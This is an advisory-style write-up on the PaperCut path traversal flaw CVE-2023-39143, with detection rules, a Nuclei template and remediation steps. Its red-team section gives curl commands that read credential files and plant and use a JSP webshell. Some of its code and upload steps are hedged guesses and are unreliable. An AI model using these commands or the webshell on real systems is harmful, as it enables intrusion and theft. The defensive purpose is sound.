CVE-2023-39143

Executive Summary

CVE-2023-39143 is a critical path traversal vulnerability affecting PaperCut NG and MF print management software on Windows platforms. The flaw allows an unauthenticated attacker to traverse directories and upload, read, or delete arbitrary files. When external device integration is enabled (a very common configuration), this can lead to full remote code execution (RCE). The vulnerability has a CVSS score of 9.8 (Critical) and is actively being weaponized in the wild. The EPSS score is 0.88178, placing it in the 99.5th percentile, indicating a very high probability of exploitation.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is specific to the PaperCut NG and MF software distribution.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, has a low attack complexity, and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the way PaperCut handles file paths in the custom report functionality. By sending a crafted HTTP GET request with path traversal sequences (e.g., ..\..\..\), an attacker can escape the intended directory and access arbitrary files on the Windows filesystem. The specific endpoint /custom-report-example/ does not properly sanitize user-supplied path components, allowing traversal outside the web root.

When external device integration is enabled, the attacker can upload a malicious file (e.g., a JSP or ASPX webshell) to a location that is then executed by the application server, resulting in remote code execution. The vulnerability can also be used to read sensitive configuration files (e.g., database credentials) or delete critical system files.

Vulnerable vs. Patched Code

Vulnerable Code (PaperCut < 22.1.3): The vulnerable code likely resides in the file handling logic for custom reports. A simplified example in C# (pseudocode):

public ActionResult GetCustomReport(string path) {
    string fullPath = Path.Combine(reportDirectory, path);
    // No validation for path traversal
    return File(fullPath, "image/png");
}

Patched Code (PaperCut >= 22.1.3): The patched version sanitizes the path by rejecting any input containing .. or absolute path components:

public ActionResult GetCustomReport(string path) {
    if (path.Contains("..") || Path.IsPathRooted(path)) {
        return HttpBadRequest("Invalid path");
    }
    string fullPath = Path.Combine(reportDirectory, path);
    return File(fullPath, "image/png");
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable PaperCut instance (version < 22.1.3) on Windows.
• External device integration enabled (default configuration).
• Network access to the PaperCut web interface.

Exploitation Steps:

1. Verify Vulnerability: Send a GET request to retrieve a known file outside the web root:

   curl -v "http://target:9191/custom-report-example/..\..\..\deployment\sharp\icons\home-app.png"
   

   If the response contains a PNG image (magic bytes 89504e470d0a1a0a), the server is vulnerable.

2. Read Sensitive Files: Retrieve configuration files containing credentials:

   curl "http://target:9191/custom-report-example/..\..\..\server\server.properties"
   

3. Upload a Webshell: Use a PUT request (if supported) or exploit the upload functionality via path traversal to write a JSP webshell:

   curl -X PUT "http://target:9191/custom-report-example/..\..\..\web\apps\ROOT\shell.jsp" -d '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) out.println(line); %>'
   

4. Execute Commands: Access the webshell:

   curl "http://target:9191/shell.jsp?cmd=whoami"
   

Nuclei Template Usage: The provided Nuclei template can be used to scan for vulnerable instances:

nuclei -t CVE-2023-39143.yaml -u http://target:9191

Blue Team (Defensive)

Detection Steps:

1. Monitor for GET requests to /custom-report-example/ containing ..\ or ../ sequences.
2. Alert on any file uploads to unexpected directories (e.g., webapps, ROOT).
3. Check for the presence of unknown JSP/ASPX files in the web root.
4. Review PaperCut logs for path traversal attempts (look for .. in request paths).

Honeypot Setup: Deploy a decoy PaperCut instance with external device integration enabled. Monitor for any requests to /custom-report-example/ with path traversal patterns.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2023_39143_PaperCut_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting PaperCut CVE-2023-39143"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-39143"
    strings:
        $traversal1 = "..\\" ascii wide
        $traversal2 = "../" ascii wide
        $endpoint = "/custom-report-example/" ascii wide
        $png_magic = { 89 50 4E 47 0D 0A 1A 0A }
    condition:
        $endpoint and ($traversal1 or $traversal2) and #png_magic > 0
}

Sigma Rule

title: PaperCut CVE-2023-39143 Path Traversal Attempt
id: 8a4b6c2d-1e3f-4a5b-9c7d-8e9f0a1b2c3d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting PaperCut custom-report-example endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '/custom-report-example/..\\'
            - '/custom-report-example/../'
    condition: selection
falsepositives:
    - Legitimate use of backslashes in Windows paths (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-39143 PaperCut Path Traversal Attempt"; flow:to_server,established; content:"/custom-report-example/"; http_uri; content:".."; http_uri; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Full)

id: CVE-2023-39143

info:
  name: PaperCut < 22.1.3 - Path Traversal
  author: pdteam
  severity: critical
  description: PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of information or remote code execution.
  remediation: |
    Upgrade PaperCut to version 22.1.3 or later to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39143
    - https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/
    - https://www.papercut.com/kb/Main/securitybulletinjuly2023/
    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39143
    cwe-id: CWE-22
    epss-score: 0.88178
    epss-percentile: 0.99494
    cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: papercut
    product: papercut_mf
    shodan-query:
      - html:"content=\"PaperCut\""
      - http.html:"papercut"
      - http.html:"content=\"papercut\""
      - cpe:"cpe:2.3:a:papercut:papercut_mf"
    fofa-query:
      - body="papercut"
      - body="content=\"papercut\""
  tags: cve2023,cve,lfi,papercut,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png"

    matchers:
      - type: dsl
        dsl:
          - content_length == 1655
          - status_code == 200
          - contains(to_lower(content_type), "image/png")
          - contains(hex_encode(body), "89504e470d0a1a0a") # PNG file signature in hex
        condition: and
# digest: 490a0046304402204d81b69cfbf99d3148e1a8d08b9bd60edea51bc582c191415c8672b2e0f951c602202affd405e7e0c0ea0e22c5bff05f9076590678ce7562ab3263018f71081ca51d:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade PaperCut to version 22.1.3 or later immediately.
2. If upgrade is not possible, disable external device integration as a temporary workaround.
3. Restrict network access to the PaperCut web interface (port 9191 by default) to trusted IPs only.
4. Monitor logs for path traversal patterns and block offending IPs.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block ..\ and ../ sequences.
• Apply the principle of least privilege to the PaperCut service account.
• Regularly audit file permissions on the PaperCut installation directory.
• Enable detailed logging and integrate with a SIEM for real-time alerting.

Patch Details:

• Official patch: PaperCut NG/MF version 22.1.3 (released July 2023).
• Download from: https://www.papercut.com/products/ng/download/

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 3503D2E322B1A021D5DE84F2] */}